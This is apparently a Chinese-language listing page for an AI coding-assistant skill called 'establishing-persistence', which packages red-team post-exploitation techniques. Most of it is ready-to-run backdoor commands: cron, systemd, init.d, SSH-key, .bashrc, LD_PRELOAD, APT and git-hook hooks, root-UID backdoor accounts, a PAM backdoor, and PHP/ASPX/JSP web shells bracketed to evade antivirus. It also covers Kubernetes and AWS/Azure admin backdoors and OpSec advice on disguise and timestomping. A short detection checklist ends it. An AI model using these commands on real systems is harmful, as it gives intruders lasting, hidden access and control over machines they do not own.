关于 establishing-persistence
面向获得系统访问权限后的持久化评估技能,适用于后利用和红队测试。内容涵盖 Windows、Linux、容器、云环境及 Web Shell,并提供检测检查方法。
主要功能
- 01Windows 持久化技术
- 02Linux cron、systemd 和 SSH 方法
- 03容器与云环境持久化
- 04Web Shell 方式
- 05持久化检测检查
适用场景
- 01在授权红队演练中测试持久化
- 02获得系统访问权限后梳理持久化选项
- 03检查主机中的常见持久化位置
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill establishing-persistence安装后在 Claude Code 中输入/establishing-persistence确认已加载。
附带文件references/windows-persistence-commands.md
详细介绍
建立持久化
适用场景
- 维持对已被入侵系统的访问
- 后渗透技术
- 红队行动
- 持久化测试
- 创建后门
不适用场景
- 尚未获得访问权限时——请先使用相应的初始访问或权限提升技能
- 构建恶意软件、植入程序或加载器——不在范围内
- 作为防御方查找攻击者的持久化机制——请使用
responding-to-incidents和hunting-threats
Windows 持久化
完整的 Windows 命令目录——注册表 Run 键、计划任务、服务、WMI 事件订阅、启动文件夹、DLL 劫持、IFEO、AppInit_DLLs 和后门账户——位于 references/windows-persistence-commands.md。
Linux 持久化
Cron 任务
# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor # Every hour
# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab
# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor
# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/update
Systemd 服务
# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service
# Verify
systemctl status backdoor.service
RC 脚本(Init.d)
# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults
SSH 密钥
# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys
.bashrc / .bash_profile
# Add to user's .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
echo "/tmp/.backdoor &" >> ~/.bash_profile
# Root .bashrc
echo "/tmp/.backdoor &" >> /root/.bashrc
LD_PRELOAD
# Hijack library loading
echo "/tmp/evil.so" > /etc/ld.so.preload
# Will load evil.so into every process
MOTD 后门
# Add to message of the day scripts (runs on SSH login)
echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header
APT/软件包管理器
# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF
# Runs before apt update
Git 钩子
# If git repositories exist
echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout
chmod +x /path/to/repo/.git/hooks/post-checkout
# Triggers on git checkout
后门账户
# Create backdoor user with root UID
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:P@ssw0rd" | chpasswd
# Or add to /etc/passwd directly
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadow
PAM 后门
# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth
# Use custom PAM module that accepts magic password
auth sufficient pam_unix.so try_first_pass
auth sufficient /lib/security/pam_backdoor.so
Web Shell
下方 Shell 中的标识符已用方括号拆开——
syst[e]m即system,ev[a]l即eval,$_G[E]T即$_GET,Runtime.getRunt[i]me即Runtime.getRuntime。如果按字面原样书写,这些代码块会匹配杀毒软件的 Webshell 特征码,导致下载此文件时被隔离。请参阅仓库 README 中的“杀毒软件误报”。
PHP Web Shell
<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>
// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
ev[a]l($_P[O]ST['cmd']);
}
?>
上传位置:
# Web roots
/var/www/html/
/var/www/
/usr/share/nginx/html/
C:\inetpub\wwwroot\
# Hidden names
.htaccess.php
favicon.ico.php
robots.txt.php
ASP/ASPX Web Shell
<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>
JSP Web Shell
<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>
容器持久化
Docker:
# Modify container to restart always
docker update --restart=always container_name
# Add to docker-compose.yml
restart: always
# Create new container with backdoor
docker run -d --restart=always --name backdoor evil_image
Kubernetes:
# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
containers:
- name: backdoor
image: attacker/backdoor:latest
云端持久化
AWS
# Create IAM user
aws iam create-user --user-name backdoor
# Attach admin policy
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key
aws iam create-access-key --user-name backdoor
# Lambda function persistence
# Create Lambda that executes periodically via CloudWatch Events
Azure
# Create service principal
az ad sp create-for-rbac --name "backdoor" --role Contributor
# Create managed identity
az identity create --name backdoor --resource-group RG
# Function App persistence
# Deploy Azure Function that runs on schedule
Rootkit
用户态 Rootkit:
- 钩取库函数
- 隐藏进程
- 隐藏文件
- 隐藏网络活动
内核态 Rootkit:
- 可加载内核模块(LKM)
- 钩取系统调用
- 更难检测
- 需要 root 权限
# Example LKM (requires kernel headers)
# Compile and load malicious kernel module
insmod backdoor.ko
持久化检测
Windows:
# Check Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
# Check scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
# Check services
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
# Check WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
Linux:
# Check cron jobs
crontab -l
ls -la /etc/cron.*
cat /etc/crontab
# Check systemd services
systemctl list-unit-files --type=service --state=enabled
# Check init scripts
ls -la /etc/init.d/
# Check SSH authorized_keys
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
# Check LD_PRELOAD
cat /etc/ld.so.preload
# Check for hidden files
find / -name ".*"
OpSec 提示
- 伪装——使用类似系统的名称(WindowsUpdate、SystemCheck)
- 冗余——建立多种持久化方式
- 隐蔽——避免会产生大量日志的显眼方式
- 清理——行动结束时移除持久化机制
- 时间戳——使文件时间戳与系统文件相匹配
工具
- PowerSploit——PowerShell 后渗透工具
- Empire——后渗透框架
- Metasploit——持久化模块
- SILENTTRINITY——现代 C2 框架
- Covenant——.NET C2 框架
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据当前 ATT&CK 版本再次核实。
执行(TA0002)
- T1053 计划任务/作业 (也属于持久化、权限提升)
持久化(TA0003)
- T1053.003 Cron——另见
escalating-linux-privileges - T1053.005 计划任务
- T1098 账户操纵 (也属于权限提升)——另见
attacking-active-directory - T1136 创建账户——另见
attacking-active-directory - T1505.003 Web Shell——另见
testing-web-applications - T1543 创建或修改系统进程 (也属于权限提升)
- T1543.002 Systemd 服务——另见
escalating-linux-privileges - T1543.003 Windows 服务——另见
escalating-windows-privileges - T1546 事件触发执行 (也属于权限提升)
- T1546.003 Windows Management Instrumentation 事件订阅——另见
hunting-threats - T1547 启动或登录自动执行 (也属于权限提升)
- T1547.001 注册表运行键 / 启动文件夹
- T1556 修改身份验证流程 (也属于凭据访问)——另见
attacking-active-directory
防御规避(TA0005)
- T1036 伪装——另见
hunting-threats
针对以上任一项的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。